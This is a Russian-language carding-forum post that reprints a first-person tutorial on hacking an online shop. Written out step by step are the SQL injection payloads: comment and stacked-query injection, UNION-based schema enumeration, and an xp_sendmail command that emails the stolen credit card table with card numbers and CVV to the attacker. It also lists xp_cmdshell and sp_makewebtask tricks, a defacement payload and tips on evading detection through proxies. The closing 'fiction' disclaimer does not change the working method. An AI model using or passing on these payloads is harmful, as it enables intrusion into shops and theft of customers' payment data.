If you have any questions, contact us:
Telegram:maintex
ICQ:1607000

  #1 Old 08-25-2013, 09:36 AM
Cartographer
 
Cartographer's Avatar
 
Join Date: Aug 2013
Posts: 511
Cartographer is on a distinguished road
Default Взлом интернет-магазина

Взлом интернет-магазина

Федор Михайлович
Многие слышали о взломах интернет-магазинов. Как какой-нибудь злобный хакер прорывался сквозь непробиваемую защиту сервера, крадя всю полезную информацию, становился мультимиллионером и был таков. Это красивые истории. Чтобы понять, как все происходит на самом деле, мы решили попросить одного человека поведать о таких вещах. По понятным причинам, раскрывать он себя не стал, а назвался Федором Михайловичем. Вот что он рассказал. Внимание! Вся последующая информация дается только для ознакомления. Не повторяй это на практике! Поехали.
Читая статьи про кардинг, ты, наверняка, уже не раз задавался вопросом, откуда же эти крутые хакеры получают номера чужих кредитных карт. Собственно, известно, откуда: из взломанных интернет-магазинов. Однако что-то мне подсказывает, что большинство читателей слабо себе представляют процесс изъятия кред из электронного магазина. Чтобы хоть немного прояснить ситуацию, я расскажу о недавно проделанном мною взломе одного зарубежного е-шопа.
Казалось бы, электронная торговля – прибыльный бизнес, любая утечка информации грозит обернуться здесь серьезными убытками, потерей репутации и деловых контактов. Тем удивительнее оказывается тот факт, что многие организации не уделяют должного внимания безопасности собственных систем, за что, в конечном итоге, и расплачиваются.

Вначале было слово

«Давай кардить», – сказал один мой хороший товарищ. «А что, давай», – ответил я, а сам подумал про миллионы долларов, виллу на Кипре и гараж с дорогими машинами. Правда, в тот вечер заняться кардингом нам не грозило, мы отправились развлекаться в город. Но спустя несколько дней я вернулся к этой мысли и уже вплотную подошел к вопросу о добыче кредиток. Первым делом нужно было найти жертву, магазин, который я буду ломать. Это не должен быть крупный проект типа amazon.com, но и с захудалой неработающей лавчонки толку тоже будет мало. Лучше всего работать с магазинами средней руки – их в интернете очень много, дневной оборот средств в них не слишком велик, но информации о кредах в таких системах хранится немало.

Самый верный способ найти себе подобного клиента – порыться в различных каталогах типа shopping.yahoo.com, там представлены тысячи буржуйских е-шопов. Но это как раз и не входило в мои первоначальные планы. Размышляя, кого и как я буду ломать, я сразу захотел похалявить. Я зашел на securityfocus.com и усиленно принялся искать опубликованную в багтраке информацию об уязвимостях в популярных корзинах покупок. Вывалилось море инфы, но вся она, увы, оказалась устаревшей: заезженный cart32 древних версий и куча малораскрученных корзинок с багами 2001 года. Поискав через гугл бажные магазины, я понял, что из этого мало что получится – всех, кого можно было сломать, уже по 10 раз сломали, соответственно, оставались те, которых при помощи инфы из багтрака сломать нельзя, - халява на этот вечер отменялась. Первым делом я отправился на гугл и нарыл десяток сайтов, которые и принялся изучать.

Концепт

При поиске уязвимостей в каких-либо скриптах взломщик, не имея исходных кодов этих программ, обычно пытается таким образом модифицировать передаваемые скрипту параметры, чтобы сценарий аварийно прекратил свое выполнение и вывел хоть какие-то сведения. Для этого нужно иметь некоторое представление о работе ломаемой системы. В рассматриваемом примере интернет-магазина вся информация о товарах обычно хранится в базе данных. Соответственно, когда юзер заходит в какой-то раздел магазина, скрипт выбирает из таблицы нужные товары и выводит пользователю эту информацию. Для этого сценарию передается параметр, указывающий, товары из какого раздела интересны посетителю. Часто такая переменная носит характерное имя типа “сategory”, “cid” или “catid”. Я перемещался по найденным сайтам, жестоко издеваясь над скриптами – подставлял во все возможные параметры специально придуманные значения. Какие-то программы вполне откровенно меня посылали, какие-то предлагали повторить попытку позже . Все это меня не устраивало, мне нужен был скрипт, который завершит работу с ошибкой и выдаст мне об этом сведения. И вот, примерно через час поисков, я наткнулся на такой магазин: после того как я поставил одинарную кавычку после параметра “ProductCode”, скрипт сказал буквально следующее: “Unclosed quotation mark before the character string '780422-S' and Stock >= 0'. /path/to/script.asp, line 15”. Отлично, это наш клиент! Опытный читатель воскликнет: “Да это же sql-injection!” Именно так . Остается только догадываться, о чем думали программисты, когда разрабатывали систему. Хотя не тороплюсь ли я? Может быть, ничего существенного через этот баг сделать толком и не удастся? Сейчас проверим. Один неприятный момент уже есть – магазин работает на asp, а с этим языком я до сих пор имел не самые близкие отношения, хотя чего там, sql-injection он и в Африке sql-injection.

Копаем глубже

Чтобы двигаться дальше, нужно понять смысл этой ошибки. После того как скрипт получил мой параметр с кавычкой в конце, он подставил его без каких-либо проверок и модификаций в sql-запрос к MSSQL-серверу. Поскольку в select-запросах параметры выборки берутся в одинарные кавычки, если один из них сам по себе содержит символ ‘, возникает ошибка, ведь выполняемый sql-запрос не является корректным. Первое, что пришло в голову при таком раскладе – закомментировать весь текст запроса, следующий за нашим параметром с кавычкой, чтобы запрос можно было выполнить. Почитав документы по MSSQL, я вспомнил, что комментарии здесь начинаются с последовательности “—-“. Отлично, пускаю: ProductCode=1234’--. Как и ожидалось, скрипт выполняется и отлично работает. Супер, а теперь попробуем выполнить свой собственный запрос через эту дырку: ProductCode=1234’; select * from lala; --. Скрипт выполняется, но непонятно, проглотил ли он мой запрос. Для этого я специально допущу ошибку, поменяв предложение “select” на “bebe”. Скрипт ругается: “Incorrect syntax near 'BEBE'.”. Отлично, он глотает и пытается выполнить запрос. Теперь можно сколько угодно модифицировать данные, можно снести им все таблицы или сразу текущую базу данных. Есть только одна серьезная проблема - мы пока не знаем названия ни одной таблицы и ни одного поля. Вернее, что-то можно угадать (ну, например, логично, что таблица с товарами может называться “Products” и т.д.), но это не наши методы, мы, хакеры, любим точность . Кроме того, мы пока не научились извлекать сведения из таблиц, а это, напомню, и есть наша первоочередная задача.

Доступная информация

Факт остается фактом. Чтобы двигаться дальше, мне нужны полноценные и точные сведения о названиях и структуре всех таблиц этой базы данных. Ведь пока я вообще ничего не знаю! В большинстве случаев, с которыми я сталкивался, мне легко удавалось получать такие сведения из сообщений об ошибках, но не в этот раз. Я долго лазил по сайту, работая с самыми разными скриптами, но мне ничего не удавалось – выводимые сведения были слишком скупы. Уже отчаявшись, я внезапно вспомнил, что информация о названиях всех таблиц и их полей в MSSQL хранится в какой-то системной структуре, названия которой я не помнил. Быстро найдя соответствующую документацию, я узнал, что информация обо всех таблицах хранится в INFORMATION_SCHEMA.TABLES, инфа о полях таблиц - в INFORMATION_SCHEMA.COLUMNS. Отлично, теперь нужно было каким-то образом извлечь необходимые сведения. Но только вот как это сделать? В голову сразу пришла мысль поступить банально, при помощи предложения union попробовать объединить вывод собственного запроса с обрабатываемым программистом потоком - в этом случае программа сама покажет мне все, что я потребую. Однако как же это реализовать, не зная ровным счетом ничего о структуре и даже названии таблиц ломаемой системы? Получается замкнутый круг, как в старом анекдоте: драйвер от модема на cd, а от cd-rom – в интернете. Надеясь на удачу, я решил действовать методом тупого подбора – может быть, что-то придет в голову в процессе, или неожиданно всплывет какая-то дополнительная информация. Ок, пускаю: 1234’ union select table_name from INFORMATION_SCHEMA.TABLES. Скрипт ругается: “All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists”. Скрипт жалуется на то, что в объединяемых потоках не совпадает количество полей, чего быть ну никак не должно. Что ж, уже неплохо – теперь, увеличивая количество выбираемых вторым запросом полей, я рано или поздно добьюсь устранения этой ошибки и, очевидно, получу другую, которая будет ругаться на несовпадение типов объединяемых полей. По крайней мере, я узнаю количество выбираемых первым запросом колонок. Я добавлял во второй запрос по одному полю, пока через 7 попыток не получил радостное известие: “Syntax error converting the nvarchar value 'AAAZZZZ' to a column of data type int”. Просто супер! Скрипт вывел сообщение о том, что не смог преобразовать символьное значение “AAAZZZZ” к целочисленному. А знаешь, что это за “AAAZZZZ”? Это название одной из таблиц базы данных!
Я выбрал его из системной структуры вторым запросом, который, естественно, не удалось склеить с первым, но, все же, я получил что хотел – информацию о названии одной из таблиц. Отлично, теперь, видоизменяя запрос, я выудил из базы данных сведения обо всех таблицах системы! Понеслась: 1234’ union select table_name,..,.. (7 раз) from INFORMATION_SCHEMA.TABLES order by table_name where table name>’AAAZZZZ’. Таким вот образом я получил сведения обо всех таблицах базы данных. Честно скажу, из-за полученных сведений интерес к этому сайту многократно возрос (особенно интересовала таблица Payments ), но все запуталось еще сильнее, поскольку в базе было около полутора сотен таблиц, просто какая-то свалка из малосвязанных структур. Теперь, чтобы как-то связать в единое целое полученные сведения, необходимо выудить информацию о полях всех интересующих таблиц. Напомню, эти сведения хранятся в INFORMATION_SCHEMA.COLUMNS, где column_name – название поля, column_type - тип, а table_name – название таблицы. Выбирая нужные сведения описанным выше приемом, я получил информацию об устройстве всех структур сайта – меня серьезно заинтересовала табличка rfPayments, поскольку в ней были поля с интригующими названиями “CreditCardNumber”, “CVV”, “CardHolderAddress” и т.д. Теперь я вплотную подошел в проблеме извлечения необходимых сведений из базы данных, нужно ведь было срочно целиком выкачивать таблицу с кредами!

Скачивание таблиц

Первое, что пришло в голову – записать результат выполнения запроса в текстовый файл и слить его через веб-сервер. Это было бы очень красивым решением, однако, когда я попытался это сделать, меня постиг облом. На запрос “select * from rfPayments into outfile ‘f:\inetpub\wwwroot\11.txt’” скрипт ругнулся, что не знает ни про какой “into outfile”. В самом деле, эта mySQL’ная функция вполне могла иначе называться в MSSQL. Почитав документацию, я выяснил, что запись результата выполнения запроса в текстовый файл осуществляется в MSSQL при помощи функции sp_makewebtask, синтаксис которой очень прост: EXEC master..sp_makewebtask “file.txt”, “sql-query”. Замечательно, осталась только одна проблема – я не знаю абсолютного пути директории, доступной через web. Я опробовал несколько стандартных вариантов ([c-f]:\wwwroot\inetpub с и т.д.), но ничего не получалось. Значит, либо текущему sql’ному юзеру запрещено выполнять эту процедуру, либо я просто не угадал абсолютный путь и писал не в те директории. Надо было что-то делать. В принципе, функция sp_makewebtask может записывать файл с результатами на удаленный расшаренный ресурс – можно было поднять на подконтрольном unix-сервере самбу и попробовать получить креды туда, но делать этого по ряду причин совершенно не хотелось. И тут я внезапно вспомнил про функцию “xp_sendmail”. Эта процедура позволяла отправлять результат sql-запроса на e-mail! То что доктор прописал: 1234’; exec master..xp_sendmail “[email protected]”, “select * from rfPayments”;--. Проверяю ящик – ничего нет . Ну, думаю, подстава. Придется вытаскивать сведения о кредитках через сообщения об ошибках со скоростью 1cc/мин . Уже начал было думать, не пойти ли спать, как, в очередной раз проверив почту, получил увесистое письмо от этого sql-сервера с содержимым интересующей меня таблички.

Дефейс напоследок

Можно было очень легко задефейсить сайт, ведь я знал об устройстве всех таблиц и мог выполнять любые запросы. Но вставал вопрос о целесообразности этих действий. Во-первых, публично показав факт взлома, я наносил прямой ущерб репутации магазина, чего мне было не нужно. Во-вторых, если админ просечет фишку, креды очень скоро станут невалидными. Кроме того, я потеряю отличную площадку для постоянного сбора cc – ведь покупки в магазине совершаются ежедневно, соответственно, обновляется таблица с кредами. Из всего следовало, что дефейс мне совершенно не нужен. Однако я уже прикинул, как это можно было бы сделать. На главной странице находится информация о товарах, которые лучше всего продаются. Эти данные выбираются из таблицы rfProducts – соответственно, если мы изменим описания всех товаров на что-то вроде “< img src=hack.ru/hacked.jpg width=500 height=600 >”, то на главной странице окажется куча красивых здоровенных картинок с гритсами и прочими “hacked by…”.

Итоги

Разумеется, кардингом мы с приятелем так и не занялись. Более того, я удалил полученные сведения о кредитках и написал системному администратору письмо, в котором подробно рассказал об уязвимостях и методах их устранения – в ответ, как и положено, тишина. А баг до сих пор работает. Остается только гадать, что может произойти, если сведения о платежах попадут в гнусные руки электронных мошенников.

Интересные функции MSSQL

Сервер MSSQL предоставляет пользователю целую кучу дополнительных функций, которые могут быть использованы и взломщиками:
1. sp_makewebtask ‘\\share\file.txt’, ‘mssql query’ – заносит результат выполнения запроса “mssql query” в текстовый файл, который может размещаться как на удаленном сервере, так и в файловой системе локальной машины. Функция имеет ряд дополнительных фишек, но нам они мало интересны – используются для более наглядного оформления результатов.
2. xp_sendmail ‘[email protected]’, “select * from table” – отправляет результат запроса на почту. Функция также имеет ряд дополнительных параметров, все они очень подробно описаны в MSDN, документы по этому поводу ты найдешь и на нашем CD.
3. xp_cmdshell ‘dir c:’ – выполняет команду для интерпретатора cmd на удаленном сервере. При помощи этой функции можно сделать массу полезных вещей, все зависит от твоей фантазии. Самые отмороженные взломщики могут, например, снести кучу системных файлов – если, конечно, у sql-юзера хватит для этого прав.

Собственная безопасность

При проведении подобных экспериментов будь осторожен! Знай, что в наше суровое время можно получить по рогам просто за то, что поставил в один из параметров скрипта неугодное админу значение – он может это истолковать как попытку взлома, а провайдеры обычно в таких случаях не медлят с отключением. Зачем тебе лишние проблемы? Используй анонимный прокси. Ежедневно обновляемый список proxy ты найдешь тут: www.samair.ru/proxy/. Кроме того, не забывай, что при использовании описанной уязвимости взломщику редко удается получить доступ к log-файлам. Поэтому старайся тщательно проверять отсылаемые серверу запросы, чтобы не выполнять одну и ту же процедуру по нескольку раз, увеличивая вероятность обнаружения твоих действий системным администратором. Будь осторожен.

WWW

Здесь ты найдешь кучу документов по MSSQL: http://msdn.microsoft.com.

INFO

В одном из ближайших номеров жди материал о реализации sql-injection атак для самых разных серверов БД, включая Oracle и Postgres.

WARNING

Вся приведенная в статье история на самом деле является частью нового художественного романа Федора Михайловича и не имеет к земной реальности никакого отношения. Все права соблюдены.
Cartographer is offline   Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
нужен взлом сайта jos Хакинг » Дедики » Хостинг 3 01-23-2014 08:49 PM


Cybercrime forum, cybercrime site, ,fraud forum, russian fraud forum, Credit cards, carder, infraud, carders.ws, crdpro, fraudsters, darkpro, crdcrew, dumps, cvv, cc, stuff carding, legit seller, vendor, free cvv, dumps+pin, skimmer, ,shimmer, emv software, emv chip writer, free cc+cvv, valid cards, track 2, free cvv, dump pin, dumps, cvv, cc, credit cards, real carding, legit vendor, carder forum, carding tutorial, russian hackers, online cvv shop, track 101, enroll, fullz